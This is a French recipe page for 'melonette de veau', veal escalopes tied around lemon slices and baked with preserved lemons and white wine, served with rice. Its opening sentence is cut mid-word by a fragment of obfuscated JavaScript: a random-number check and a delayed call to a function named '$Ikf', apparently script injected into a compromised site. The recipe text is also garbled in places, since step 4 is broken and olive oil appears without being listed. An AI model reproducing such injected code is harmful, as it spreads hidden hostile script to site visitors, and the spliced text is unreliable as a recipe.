Melonette de veau
2018-01-01Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, faites cuire le riz en respectant le temps indiqué sur le paquet. Égouttez. Réservez.
Ingrédients
- Pour 6 personnes
- 6 escalopes de veau
- 200 g de riz
- 4 citrons confits
- 1 citron jaune
- 30 cl de vin blanc sec
- 35 g de beurre
- 2 oignons
- 2 cuillères à soupe d'huile d'arachide
- Sel - Poivre du moulin
Préparation de la recette
Etape 1
Dans une grande quantité d'eau bouillante salée, faites cuire le riz en respectant le temps indiqué sur le paquet. Égouttez. Réservez.
Etape 2
Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen, faites fondre les oignons tout en remuant salez et poivrez.
Etape 3
Aplatissez les escalopes de veau avec un couteau à large lame. Déposez une rondelle de citron, ficelez de manière à former une melonette.
Etape 4
Placez-les dans un plat à gratin, la melonette , ajoutez les citrons confits, arrosez de vin blanc, de jus de citron, 1 filet d'huile d'olive, salez, poivrez.
Etape 5
Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire pendant 30 minutes, en arrosant régulièrement. Vérifiez la cuisson et servez.
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